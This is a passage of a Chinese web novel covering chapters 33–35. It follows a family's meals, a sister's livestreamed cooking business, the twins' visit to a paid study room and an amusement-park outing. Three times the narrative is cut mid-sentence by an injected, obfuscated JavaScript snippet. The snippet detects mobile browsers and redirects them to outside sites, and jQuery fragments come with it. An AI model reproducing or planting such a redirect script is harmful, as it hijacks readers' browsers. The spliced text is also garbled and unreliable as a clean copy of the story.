这肉对钱一花的牙口很友好,龙凤胎一心在吃上,爸爸给他们捞什么就吃什么,“小心烫。”话说完,文雯急着吃被烫的表情一言难尽。 “吹吹再吃,又没人和你抢。” 文雯捂着嘴巴,也就几秒钟的功夫又开吃了。 勺子一直是朱春华拿着,眼睛观察着每个碗里的肉,谁的快吃完了马上接上。他自己碗里就一直那两块肉,光看着老母亲老婆和三个崽吃都感觉幸福的很。 在老爸要给朱莉碗里添三次肉时她护住自己的碗,“不吃了,还有饭呢。” “噢对,大家来吃点饭。”说着他就看谁的碗里空就要给谁盛饭。大家都不要他盛,刘敏秀说了句:“你吃你的,我们自己盛。” “为你们服务啊。” “又不是够不到。” 大家各盛各的,搅拌均匀的酱汁裹着长粒米饭,油亮得很。一大勺米饭,上面一块腊肠,入口甜咸交错,米饭的酱汁微甜,这个甜才是属于米饭的点睛之笔,丰富了米饭口感,与腊肉腊肠的咸香相得益彰。 “超爱这个米饭!”龙凤胎表示。 “爱吃这个,回去也给你们这么做。”钱一花只会在蒸饭时把腊肠往米饭上一放,她以为那样已经够香了。 想起过一个星期就要回去,各自心里都有些沮丧。不过今天第一天,先不想这个问题。 文超最快吃完一碗,勺子把碗里米饭刮得干干净净,一粒不剩,又盛一碗。 这饭算是集合了所有人的最爱,有肉有菜有饭还有心心念念的腊肉腊肠。没有别的配菜吃这个煲仔饭都足够足够了,这不还有椰子鸡火锅呢嘛。 吃了味道浓郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003050|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醇厚的煲仔饭,再吃块清甜嫩滑的鸡肉,吃出了恬淡闲适之感。 家里人多,朱莉一开始挑餐具锅具就是大容量。大号砂锅一人两碗的量都有,朱莉和妈妈一小碗就够了,奶奶和爸爸一碗多些,剩下的都是俩长身体少年少女的。 鸡肉吃差不多了,配菜涮火锅,吸汁的蟹味菇海鲜菇平菇来一些,再来一些猪肉丸和牛筋丸,鱼籽丸和年糕福袋。这些是龙凤胎的最爱。他们不管味道,新鲜没见过的都得尝尝。 大人们的战斗力不如他们,涮些生菜油麦菜就差不多了。 一家六口人外出散步消食浩浩荡荡。很明显的老中青三代,朱莉虽说现在都能扛起一家店了,穿着上还是喜欢粉色和有卡通图案的,皮肤是健康的白嫩和两颊带些肉,和弟弟妹妹站一起看不出多大年龄差。 在华市一家养一个孩子都够费力了,还得动用上两代的存折,三个孩子天方夜谭。看到这一大家子都不禁多看两眼。羡慕是羡慕的,随之而来想起养三个孩子补课费得是天价了,养不起养不起,移开视线。 走了几步回头,虽说有俩孩子眼睛细长不太好看,但这三个孩子都不是近视眼哎!瞬间有股上前询问经验的冲动。其实他们只要上前询问的话,朱春华一定会倾囊相授:“我什么都不懂,我只让他们吃饱,自然成长。” 逛到外面马路上,华市即便是偏一些的郊区,接近九点了仍然霓虹闪烁,车水马龙,街上行人个个精神抖擞,仿佛夜生活刚刚开始。 文雯的注意力不在这上面,她左手挽朱莉,右手牵住超超两根手指头,对朱莉说:“姐,你还记得我们老家乡下隔壁的阿梅吗?和我和超超同岁,她初中读完就不读了,我问她奶奶,她奶奶说进厂里打工了。” “她自己不想读了?” “不不不,她初中成绩很好,她很喜欢读书的,是她爸妈不让读了。说女孩子读书没用,让她早点挣钱。” 超超说:“我初中也有三个同学不读了,不过他们真的不喜欢学习,考试考个位数。有两个好像也在厂里上班,一个帮家里看水果店。” “考个位数?哈哈哈,随便填也不至于个位数啊,这也是门技术活。” “有一个挺可惜的,他本来成绩挺好,一次期中考考差了,老师把他爸爸叫来,他爸冲进教室当着全班同学面打了他一巴掌,从此后他就自暴自弃了。” 文雯听了气愤的指甲去掐超超的肉,超超连忙弹开,“痛啊!” “噢,对不起对不起,太激动了。”文雯把他手指夺过来揉了揉继续牵着,“这样的家长应该去坐牢!他毁了他孩子一辈子!吼,气死我了!阿梅她爸妈也很过分,她弟弟考试也经常二三十分,怎么不让他休学!” 朱莉认真听着,思索了下,“你下次见到阿梅跟她说下,在工厂要么学门技术活,要么自己攒点钱继续读书。” “嗯!我回去一定要跟她说。” 朱莉却对此不抱有太大希望,儿童时期就被无情斩断的翅膀,有几个能自己长出来的。她切换话题,“你们呢,觉得学习费不费劲?” “学习哪有不费劲的,慢慢熬呗。”文雯叹了口气。 朱莉敲了下她额头,“话说的有道理,但不要叹气。” 文超有些担心,“姐,这里的学生成绩好不好,我担心到时候跟不上。” “这学校升学率还蛮高的,跟不上没关系,咱想办法,找老师找家教,华市大学多,很多大学生做家教勤工俭学的,找他们讨教些经验。” 后边,朱春华和刘敏秀在给老娘介绍各类生活用品店,哪家水果店便宜,上面写了生鲜店的有鸡蛋和蔬菜卖。钱一花很努力记着。 33.第 33 章 朱莉五点半起床,奶奶已经在客厅拖地了。 这拖把还是昨晚上买的。 昨晚散步回来,拎回来两个拖把。家里卫生一直朱莉妈妈打扫,她喜欢用抹布擦地板,角角落落都能擦到。卫生间和厨房用不同颜色的抹布。家里有一个拖把,平时用来拖拖床底够不到的地方。 昨天妈妈在卫生间洗衣服时跟她说:“你奶奶拖卫生间和客厅厨房都用一个拖把,晚上出去提醒我买两个拖把。也不好让她老人家蹲地上抹不是。” 顿了顿补充道:“你爸看到你奶奶蹲地上擦地又要大惊小怪了。” “欸好,我记着。”朱莉从卫生间退出去,微微抿起一边嘴角,这是不是就是婆媳间的矛盾。也被她给体会到了。 买拖把时婆媳俩说起这个,确实有那么几十秒的尴尬。但朱莉看着觉得这种即时沟通的方式很好。天天放在心里才要出大问题了。 钱一花也不是小肚鸡肠的人,不像老家乡下隔壁家的,农忙时种个田婆媳俩还要在田岸上吵个架,引得大家都来围观。不过她早上起来就忘记了,到底是绿色的拖客厅,还是黄色的拖客厅。 她就到厨房问儿子。朱春华告诉老娘绿色的拖客厅,黄色的拖厨房。钱一花还是觉得不好记,在客厅拖着拖着,突然想到,烧菜的油是黄色的,所以黄色拖把拖厨房,这样就怎么也不会忘了。 朱春华在厨房做早饭,肉末茄子拌面。 朱莉吃好早饭就去菜场了,今天仍做个黄豆炖猪蹄,再做个咖喱鸡块,另外买了三块牛腱子。 直播间的人数比工作日多三分之一,工作日没时间看,只有放假的时间是自由的。还有一些人和家人一起看。家人想看他们一个人在外吃得好不好,担心整天吃外卖身体吃出问题来。外面的油和肉都让他们不放心啊。 “做生意的人哪有不黑心的,你以为是猪肉牛肉,实际人家给你放的老鼠肉。” 周小惠“咦”了声,十分嫌弃,倒胃口,只好让她妈妈看直播,“别的店我不知道,这家店我敢保证用的是最新鲜的肉。” 视频里,整个厨房展现在眼前。一共四个人,三个洗菜,一个备菜。 朱莉最后一个猪蹄切完了,满满两大盆,放一边开始切鸡块。面前不锈钢盆子一排整整齐齐,切好的肉片,鸭子,排骨等等。 周小惠她妈不看则已,看了一眼就停不下来了。周小惠把她妈妈的手机直播打开,她自己的手机还要回赵梦的消息呢。 赵梦没回老家,现在正是涨粉的时候,趁着假期还可以多拍几个视频剪辑好存着,还得学习下其他大博主的涨粉技巧。 “小惠,昨天的黄豆炖猪蹄你没吃到可惜了,那才是真正的一抿脱骨,满满胶原蛋白,看样子今天老板还做,我今天得点三份,两份留着下午刷视频啃。” 周小惠飞快打过去,“别说了,我好馋。” “你不是回家了嘛,吃妈妈做的饭知足吧。” “我和我妈说了,晚上想吃黄豆炖猪蹄,她看直播学呢。” 周小惠耳边突然出现她妈妈的声音,“啊呀,她这个卤料包里放什么我怎么知道,你给我发一条信息问问。” 盖上锅盖炖猪蹄了,朱莉开始做咖喱鸡块。鸡肉煸香,放土豆和胡萝卜煸炒,加盐与热水炖十二分钟,另起锅熬咖喱料。 底锅微微一点热油,加洋葱翻炒几下,加水与咖喱块,待咖喱块稀释倒鸡肉和土豆胡萝卜块,炖煮五分钟后,朱莉倒了一点点奶油进去,奶油会让咖喱口感更醇厚,再炖煮三分钟出锅。 龙凤胎在家里做着作业,忍不住打开手机看看直播,他们好奇中午吃啥菜呀,一看是黄澄澄的咖喱鸡块,文雯拍拍桌子,“中午有咖喱鸡块哎。” 文超抬头,“你快做作业吧,一个上午才做半张卷子。” 需要时间炖煮的菜都做好了,朱莉端出一盆牛腱子,倒掉血水,调料区各捞一把葱姜和洋葱放进去,再是香料区的花椒八角桂皮香叶,接着放酱油老抽甜面酱和黄酒。盆里浓浓的酱料,给每块牛腱子都抹上厚厚一层腌制。 直播间里的人好开心,今天中午有牛腱子吃啦。牛腱子可是好东西,幻想咬上那么一大片带着筋的卤牛肉,好想吃啊,待会儿不管多贵,都得下一单。 结果老观众算着时间点都快到开放外卖时间了,朱莉的牛腱子还没开始卤呢。 到点可以订外卖了,从上到下翻了一遍,也没有增加卤牛肉的选项,只有在直播间发评论,望朱莉能看到。 ‘老板,牛腱子不做了吗?’ ‘朱莉,你是不是忘了一个菜还没做?’ ‘老板,牛腱子呢?牛腱子!’ 如今奶奶也加入打包行列,朱莉菜全部做好,歇个二十分钟看评论区,顺手回复:‘牛腱子是自己吃的,单卖太贵了,我担心买的人少。’ ‘不贵不贵,你随便定价,我都买。’ ‘你竟然会担心这个问题,匪夷所思,你不知道我们整天下单都靠抢嘛?’ ‘二十以下我都能接受。’ ‘大姐,这是牛腱子哎,你熟食店买一小块都要二三十了,好意思说二十以下嘛。’ ‘啊?牛肉这么贵的嘛?’ ‘牛肉贵,牛腱子更贵,我能理解老板为什么不单卖。’ 十一点半朱莉要送奶奶回去,一点半吃饭太晚了,奶奶和弟弟妹妹不习惯,饿过头对身体不好。 给弟弟妹妹盛,朱莉用的是盛饭盒的长方形盒子,一盒全部是咖喱鸡块,一盒里全部是黑椒牛仔骨,两盒黄豆炖猪蹄,大盒子里盛啤酒鸭,糖醋排骨,油爆虾和鱼香茄子,另一个大盒子里全盛素菜。 没有血缘关系的只好盯着屏幕咽口水: ‘我也好想有个会做菜的姐姐。’ ‘姐姐,我是你失散多年的妹妹。’ ‘姐姐,我是你失散多年的弟弟。’ ‘那我卡在四十岁了怎么说?’ ‘小姨?’ ‘小姑?’ ‘远房亲戚?’ 朱文雯盯着手机呵呵呵笑,她把手机翻转过来,“超超,你看他们发的,好搞笑,呵呵呵呵。”文超一记眼光递过来,文雯马上收敛笑容,低头拿笔,“我马上做题!”想起什么又抬头,“不做了,马上吃中饭了,我下午一定好好做题。” “你还是把手机还给妈妈吧。” “我下午保证不看了,手机放你这边。” 刚刚手机上的出现在自己面前,嘴角都快咧到耳朵根了。文雯把所有菜摆好,拍了张照片,待会儿发□□空间,现在可没那功夫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016267|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“奶奶,一份猪蹄你吃,你喜欢吃这个,我和超超两人一份就可以了,我要吃咖喱鸡。”文雯第一筷子就夹的咖喱鸡,和以前吃过的不一样,姐姐做的这个有股奶香味。” “文雯会吃,我加了奶油。” 文雯很得意地挑了挑眉,“我猜对了。”她单独用勺子蒯了点咖喱汁,咖喱和奶香混在一起,好浓郁,软绵绵的。 咖喱鸡块要拌在饭上才好吃,电视里的咖喱都是这么吃的。 来上一勺拌着浓郁咖喱汁的饭,不羡慕了不羡慕了,他们做的能有我姐姐做的好吃?刚刚超超让她有些生气的,不气了。文雯见超超拌的咖喱太少了,热情的又给他舀了几勺,还有好些土豆块萝卜块和鸡肉,“多吃点。” 有的时候她看超超吃饭真急。不能多吃点菜嘛,菜好像跟他有仇似的。 朱莉要走,文超让她收起文雯的手机还给妈妈,“她上午只做了一张试卷,都在看手机。” “哪有这么夸张!”文雯为自己辩驳,哪有都在看。 朱莉马上想到了自习室,手机小程序里看了下正好还有两个空位,就是座位不连着。不连着也好,省的他们两个说话,得抓紧下单了,不能被别人抢了,“自习室去不去?那里安静。” “什么自习室?”名字是很好理解,但这是个什么地方? “就是很多哥哥姐姐准备考试都会去那,那里比家里有学习氛围。” “好呀,去。” 文超想的要多些:“那里要花钱吗?” “需要,能提高效率花钱就值得。”朱莉给他们下单,“吃完打我电话,我在十字路口那里等你们。” 放长假,整座莱夏大厦都静悄悄的,只有楼上自习室比任何时候人都多。头一次来准备考十二月底雅思的两个女生,他们见这自习室怎么清一色的‘奇迹快餐’外卖袋子,问了问正在吃饭的盛雨晴,“你们怎么都点这家,好吃吗?” “盒饭天花板。” 对“天花板”这个词抱有质疑,但看着确实很有食欲,于是她俩也点了。 陈佳乐工厂有八天假期,和盛雨晴越好每天八点过来,晚上八点回去。中饭晚饭自然是吃这家了。 她俩一人下两单猪蹄,咖喱鸡一份,再来个炒豆芽就可以了。如果中午不学习的话,可以吃更多,但没办法,学习为重,吃太撑脑子不好使。 一半猪蹄拌饭,一半咖喱拌饭,吃猪蹄拌饭的时候,觉得没有什么比猪蹄汤拌在饭里更合适了。吃咖喱拌饭时,又觉得这个咖喱奶香味和米饭太搭了,上了回东南亚。 土豆和胡萝卜要搭配着米饭一起吃,再来口黏黏糊糊咖喱鸡肉,吃出了假期的悠闲惬意来,东方胃最后还是要以两块猪蹄作为结束的。 三轮车朱莉没骑出来,载饭盒还可以,载人太拉风。她骑的电瓶车,车后座坐妹妹,文超一辆共享单车。 路很好认,笔直过三个路口,马路对面就是。 “上面七楼就是,座位时间到六点。到了你们可以自己走回来,要骑共享单车的话就骑笔直的这条路,剩下的自己走。你们骑自行车过大马路我不太放心。” 龙凤胎连连点头应着。 他俩上了七楼,按着门牌号找到自习室,就被门口那玻璃门难住了,拉不动,怎么进去啊? 34.第 34 章 他俩上了七楼,按着门牌号找到自习室,就被门口那玻璃门难住了,拉不动,怎么进去啊? 里面一排吃饭的人听到动静都转头往外看,一个男生率先够过去开了门,“旁边有个机器,脸扫描一下就可以开了。” “噢,谢谢哥哥。” 文雯觉得很神奇,又退回去扫这个机器,出来一个机器女声:“身份核验通过。” 文雯在机器右下角看到了自己照片,原来刚刚老姐拍照片是这个意思,他拉着超超也要来照一照。朱文超以为每个进去的都必须照一照,于是在机器前站定,等待“身份核验通过”这句话。 男生其实很想说,门都开了,直接进来呀。 不过陌生人之间都习惯能少说就少说了,他便回到座位继续吃盒饭了。心里想着,现在初中生都这么大摇大摆谈恋爱了吗?这俩孩子不会是为了防止家长发现才来的这自习室吧。唉,上学就该好好读书呀,看我不好好读书,现在考研都不敢报985211。这俩小屁孩懂啥? 俩小屁孩进来,看到用餐区都是‘奇迹快餐’的外卖袋子,文超看妹妹眼睛闪过一束光,咧开嘴角,迅速把她拉走了。文雯那句“这店是我家开的”就没机会说出口。 帘子后是另一番景象。四排桌椅,个个低着头,不是在做题看书,就是戴着耳机听视频课。这些老师他俩一个都不认识。 比老家的图书馆还安静。两人一下子就感觉到了压迫感,好好学习的决心油然升起。 每张桌子上都贴了数字,文雯小程序上看了眼自己的座位号,自觉把手机交给超超。 他们两个座位隔得远,还分别都在角落里。 文雯是第二排倒数第二个位置,她环视了一下周围,旁边靠墙这哥们儿是唯一抱枕抱枕在睡觉的,桌上放了两本《财务成本管理》、《战略与风险管理》,这是啥? 右边这个短头发姐姐在做英语阅读理解,这她熟。她也从一堆试卷和作业本里抽出了张英语试卷。 做之前玩了一分钟台灯开关。这家自习室好高级呀,台灯是触控的。但是现在室内亮度正好,用不着台灯,可惜了。 这是一个完全陌生又学习氛围浓郁的环境,加上超超又不在身边,递小纸条的机会都没有,身边也没手机,投入进去很快。一个小时十分钟,还剩篇作文。 作文最头疼了,她咬着笔,隔壁姐姐起身离开,很快又回来了。纸杯上印着春雨自习室,一闻就是咖啡,勾起了她的好奇心。于是座位上便坐不住了。 出了学习区就是用餐区,这时外面一个人也没有,她就更加自在了。 用餐区角落里有台饮水机,旁边的架子完全引起了她的兴趣。墙上贴的“免费取用”。 上面一层好多东西,便利贴,胶水,圆珠笔铅笔橡皮,玻璃胶,双面胶,订书机,直尺三角尺,连圆规都有,下一层是小零食和咖啡。那个姐姐倒的肯定是这里的咖啡。 再下面好几种罐装的茶叶,绿茶,茉莉花茶,玫瑰花茶。 这片小天地太合她口味了。学习用品是用不上,自己都带了。她好想喝咖啡,又纠结于喝了晚上睡不着。最后决定喝茉莉花茶。 给自己倒一杯,给超超也倒一杯。再拿两颗旺仔牛奶糖。 文超要说谢谢,她潇洒走了。文超放下笔,喝了口茶水,茶是温的,但喝下去沁人心脾的凉,这什么茶? 他是第三排的倒数第二个位置,左边的人埋头做题,右边的在看视频课程。两边桌上都叠了好几本书,都有考研二字。 “考研”二字在他生活中算是新兴词汇。他的目标,以及他周围同学的目标都是考大学。考大学都很费力呢,考研更遥远。 大学是向往的,学习也不排斥,原本因语文老师处处针对他而心情很不好,上星期历史老师开导了他一个多小时,想通了不少。 他很喜欢这里的学习氛围,喝完水接着学,把物理和数学的最后一道难题都解出来了,超有成就感。 下午休息时,钱一花让孙女带着去买袋面粉,她还是不太敢一个人出门。 她要做葱油饼,儿子儿媳说想念这个味道了。朱莉记忆中奶奶烙的葱油饼味道也超好。 葱油饼和牛肉粉丝汤再搭配不过了。 牛腱子淹了有六个小时,下午去厨房第一件事卤牛腱子。腌过的酱汁放锅里煮到沸腾,放牛腱子,朱莉把搭配好的卤料用纱布包起来,放进锅子里,小火炖九十分钟。 接着做下午的菜,九十分钟一到,保鲜袋包好放冰箱冷藏,方便腱子肉定型。 家里就钱一花一个人,家务活都干完了,电视一直开着,也看不进去什么,就听个声音。她等着五点钟开始和面。 和面时得多加些水,和出来的面团软,煎出来的葱油饼才更煊软。半小时里,她又把厨房各处都擦了一遍。 取出面团放在硅胶垫子上,此时的面团已经松弛的如水般流淌。硅胶垫子上撒上一层面粉,面团和起来就不沾了。这垫子是下午孙女在手机上订的,她记着也就过了四十分钟就送到家门口了。现在这高科技越来越先进了。 大面团轻轻揉搓成长条,分成小剂子,给它揉搓成圆形,再醒发一会儿。 接下来做葱油。小葱切成葱粒倒油,加盐和花椒粉调味。 垫子上撒一层面粉防止粘连,二次醒发的剂子擀圆,铺上一层葱油,从圆心这开一刀,卷成圆锥形状,底边按压收口,轻轻擀成圆饼。力道不能重,否则煎出来的面饼太硬。 葱油饼不能太早煎,煎完他们回来凉了又不好吃,回来再煎也不成,他们回来还要做牛肉粉丝汤。 六点的时候刘敏秀不放心,朱莉这边也忙的差不多了,不再继续添菜了,仍旧开着电瓶车去接他们。 他们到家,钱一花起身去煎葱油饼。文雯从回来路上嘴巴就一直嘚啵嘚啵个不停,从她和超超进自习室不知道怎么开门开始,到那免费茶叶免费咖啡便利贴,再到不知道怎么使用的打印机…… “姐,我一个下午做了三张卷子,效率从来没这么高过!大脑高度运转,饿死了。” 厨房里,油煎过后葱油饼的味道就散发开来了,满屋子飘香。文雯到厨房里去守着奶奶的葱油饼,这回换文超,“姐,那里好多考研的,还有考什么cpa,教师资格证,什么医学基础知识,我一直以为只有初中高中才有那么多考试……” “不不不,即使我上的大专酒店管理专业也有很多考试的。有些不是书面答题,是实操考试,每星期还要轮班去学校里的餐厅宾馆值班,也是有考核的。如果做大酒店的厨师,还要考厨师证,一级一级考上去。其他工作没做过,我想应该也是一样的。学无止境嘛。” 这些完全刷新文超以前的认知,他所想的一切只到高中为止。 朱莉看着弟弟一副锁眉深思的样子,拍拍弟弟后背,“虽然你们现在的最大任务是高考,但老姐还想问,你以后有没有特别想做的工作?” 文超的眉头更紧锁了,特别想做的工作?他还没有想到这一层,刚刚上高一一个月,连特别想读的大学都还没想好呢,“我想想。” “慢慢想。” 文超知道的工作也有限,医生,律师,老师,警察,除此之外…… 文雯盘里端了两个葱油饼出来,嘴里吃着一个,“香晕了。我今天要吃五张饼。” “先垫垫肚子,剩下的马上煎好。莉莉,你爸爸妈妈这个时间点应该快回来了吧?”朱莉看了眼时间,“嗯,奶奶你煎完,爸妈应该就到了。” 朱莉和弟弟妹妹一人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13026373|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张软呼呼的葱油饼,印象中的味道。面饼里葱花十足,一咬满口葱花香。煎过的葱花生腥气没有了,只留下葱花诱人的香味。 对半撕开,分了好多层,每层都嵌着满满的葱花。比手掌还大的葱油饼几口就解决了,就一张,只垫了十分之一的肚子都不到,尤其是两个长身体的孩子,但是他们都很自觉,要等爸爸妈妈回来一起吃。 朱莉吃完就去厨房了,奶奶煎葱油饼,她切牛腱子肉,泡些粉条。 牛肉粉丝汤算是快手汤了,姜片爆香,牛肉末放进去翻炒几下,倒热水。这一步主要是让粉丝汤里也有足够的牛肉鲜味。 汤煮沸放粉条煮软,撒一把葱花香菜,关火。 屋外有开门声音,文雯把刚刚和她说的又和爸爸妈妈复述了一遍,稍加修改。 汤碗里一人一碗粉丝汤,整齐码上切好的卤牛肉,半个身子探出厨房,“端汤。” 文雯和文超立马闪进厨房,一人端葱油饼,一人端汤,来回三趟。 一人一碗牛肉粉丝汤,葱油饼放中间。昨天是完全新奇的椰子鸡火锅,今天是从小吃到大的葱油饼,搭配牛肉粉丝汤。显然葱油饼是意料得到又百吃不厌的美食。 朱春华和刘敏秀常年在外,一年到头吃葱油饼的次数就那么一两次,想念的不行。 还等什么,先一人一张葱油饼抓起来吃吧,入口像是直接归了味蕾的故乡,煊软的面饼夹杂咸香咸香的葱花,香到家了。 楼下早餐小铺就卖葱油饼,那里葱哪有家里加的多,“外面做的完全抵不上家里的香。”朱春华三两口解决掉一张饼,吃太快有些噎,来一口鲜香的牛肉汤,摸摸肚子,“这顿吃得舒服啊。妈,天天吃葱油饼都吃不厌。” “要吃葱油饼还不简单,我这几天多做几顿,给你们冰箱里也冰一些。不过葱油饼还是要吃现成的,冰过的不香了。” 刘敏秀也爱面食,好多面食都是跟婆婆学的,做的自然没有婆婆做的好。主要在家时也没啥练手的机会,他们一喊要吃什么什么,她婆婆老早做好了,不带隔天的。这点真的好的没话说。 文雯和文超在家常吃,葱油饼就没有吃厌的时候。吃了两张原味后,文雯的新吃法,她把牛肉包进葱油饼里吃,又是另外一番风味。再嗦一口滑溜的粉丝,来一口牛肉汤,“嗯!美味极了!”一脸享受。 下午用脑过度,吃起来格外香,还完全没有负罪感。 文超把一张葱油饼对折两次,一口能咬的更多,再往牛肉汤里蘸蘸,饼皮更松软了,还带着牛肉的鲜味,嗦一口粉丝,嘴巴里再也腾不出一点空位。 最后要来解决汤碗里的大块卤牛肉了。葱油饼与粉丝汤一干一汤,葱油饼与卤牛肉,一荤一素,想不出还有什么比牛肉粉丝汤更搭葱油饼,想不出还有什么比葱油饼更搭牛肉粉丝汤。 朱莉吃了两张葱油饼后,把第三张的撕成几片,泡在牛肉粉丝汤里吃。文雯和老妈奶奶也这么泡着吃,夹起来一块滴着牛肉汤,混合着香葱香菜的葱油饼,也是香的很。 二十二张比手掌还大的葱油饼全部清空,钱一花看着由心的成就感。 碟子里另外切的牛肉大家都不夹,长辈留着孩子们吃,孩子们呢,想的是爸妈和奶奶不吃我们也不吃。今天吃碗里这些牛肉就够够的了。 朱家人根本就没养成大口吃牛肉的习惯,碗里这些吃完就大够特够了,他们每一口牛肉想的都是钱啊。朱莉给每人都夹几片,剩下的都分文雯和文超碗里,“冰箱里还两大块呢,这几天得把它吃光。” 夹到了汤碗里,大家只好享用。 龙凤胎吃着碗里的牛肉可真满足啊,能咬到Q弹的筋,牛肉一点不柴,还能沁出咸甜的肉汁来。 牛肉就是比猪肉香,下午动脑的亏空全部补上了! 35.第 35 章 休息的两天朱莉带弟弟妹妹出门,家里大人就不去了。 因为他们去的是游乐场。 龙凤胎都没去过游乐场,朱莉也没去过。出门除了各自背个斜挎包,包里放了个手机外,两手空空。文雯和文超带的老妈奶奶的手机。 去了那儿,三人傻眼,事实证明节假日别外出的好。来都来了,票都买了,只好硬着头皮进去。 排了半小时坐到海盗船,半小时坐到旋转木马,一个半小时坐到大摆锤,接着就到吃中饭时间了,游乐场的餐厅有限,一家炸鸡,一家披萨,和一家,他们谁也不想见到的店——金帽子快餐。 三人默契地低头进了隔壁披萨店。 走近柜台,抬头看见披萨价格最便宜的都得七八十,“这么贵?”往前的脚步就有些犹豫了。 这份犹豫落到了朱莉眼睛里,她选择视而不见,“我要个榴莲芝士的,你们呢?” 文雯视线落在上方屏幕上,手指捏着下嘴唇思考,脚步慢慢靠近,和超超小声商量,其实也没啥商量的,文雯说出自己想吃超级至尊披萨时,超超:“那就吃这个吧。” “你最想吃哪个?” “我也想吃超级至尊披萨。” 三人两个九寸的披萨足够,再来两份意大利面和一份鸡翅,还有三杯柠檬水,朱文超瞄到收银机器上显示的数字,心里咯噔了一下,出一趟门也太费钱了。昨天奶奶做的葱油饼也是饼,价格咋就差的那么大呢。 一人一份意面当作主食,两个披萨,还有鸡翅,完全足够了。上午排队三小时,玩十分钟,体力都消耗在排队上了,腿肚子酸得不行,急需吃点东西补充能量。 “这和电视上看到的完全不一样嘛,人家就拍了坐旋转木马的镜头,没拍坐旋转木马之前要排这么长的队啊!” 文超打趣她,“偶像剧里都是骗人的。” 文雯撇撇嘴,“这下打破滤镜了。全都是泡沫……” “是一霎的花火……”朱莉马上接上。 文超点点头,叉了一大圈意面进嘴。 朱莉一盘意面吃完,再吃一块榴莲芝士披萨就饱了。文雯文超尝了,马上倒戈榴莲芝士披萨,真是又臭又香又甜的,奶呼呼,很符合他们的口味。 龙凤胎没吃过榴莲,吃芝士的机会也很少很少,不知道原来榴莲芝士披萨这么好吃,奶呼呼的还能拉丝。一人一块榴莲芝士披萨,吃得那叫一个惊艳和享受。 还剩下三块就不吃了,“带回去给爸妈和奶奶也尝尝。他们也没吃过。”文雯说,手上就去拿另一个披萨了。 “家里没烤箱也没微波炉,带回去硬了就不好吃了。你们能吃多少吃多少。” 龙凤胎吃到最后,还剩下几块鸡翅和两块披萨,朱莉去拿了个袋子打包,塞进包里,“待会儿排队的时候吃。” 不出意外,“过山车”排了一个半小时,玩了五分钟,“激流勇进”排了两个小时,鸡翅披萨吃光光,进去还一人花了十五买雨衣,十几人坐在船里等着,突然一股水流把他们的船从高处冲下去,猝不及防,“呸呸呸!”水进嘴里了。 朱莉还好,她雨衣裹得紧,龙凤胎就成了落汤鸡,三人赶紧回家。 刘敏秀一摸他们的衣服,赶紧煮老姜茶。虽说今天还是大太阳,都十月份了,总归不比夏天呀,感冒可不得了。 一杯老姜茶下肚,胃里暖烘烘的,年轻人体力好得很,洗完澡身体清清爽爽,一点事也没有。朱文雯掏出包里那票根,湿哒哒的,第一次去游乐园,她还想好好保存呢,不会再有下次了。心脏受不了,排两小时玩五分钟也受不了。 吹风机改吹票根,“老姐说得对,幸好我和超超把披萨都吃了,没带回来,带回来披萨肯定也被水淹过不能吃了。” 刘敏秀还以为什么事呢,“披萨我们不爱吃,你奶奶中午又做了葱油饼和麻酱糖饼,我们就好吃那口。以后出去吃饭不用给我们留的。” 朱春华从厨房出来,两手各一盘饼,左手边葱油味的,右手边麻酱味的,“来,吃,中国式披萨。” 在朱春华的观念里,七十几块钱买张饼,心疼死他了,上面的肉还那么少。不过他不能张嘴说,小孩子喜欢的东西自有他们喜欢的道理。一说心疼钱,下次他们到外面该不敢吃了。 朱莉和弟弟妹妹第一张拿的都是麻酱糖饼,刚出锅的同样煊软,捏起来软绵绵的。 “呼呼呼,好烫。” 朱莉习惯边撕边吃,也是分层的,每层充足的红糖麻酱,闻着空气都是甜蜜蜜的。麻酱和红糖都不是很腻,甜的很香,而且是越嚼越香。 榴莲芝士披萨也很香甜,这时真让龙凤胎他们选哪个更好吃,保准说麻酱糖饼,麻酱香谁抵挡得住。 在老家他们可不是经常能吃到麻酱糖饼的,奶奶嫌麻酱贵,葱地里拔一把就是了。 “一样吃一张就够了,别吃多啊,还要吃晚饭呢。”朱春华提醒孩子们,他拿出来只是让他们先垫垫肚子。 厨房里“刺啦”一声,钱一花把茄子倒进锅里翻炒,待茄子软了倒青椒,一道青椒炒茄子出锅,下一道虾米冬瓜炒腊肉,再是榨菜豆腐炒肉丝,红烧带鱼,糖醋排骨,还有一个牛肉粉丝汤。 “今天菜都是奶奶烧的,奶奶很辛苦。”朱春华发言。 “一点不辛苦,待着都发霉了,不让我做饭才辛苦。和莉莉做的不能比,但莉莉也从小吃惯奶奶做的了,肯定也不会觉得难吃是吧?” 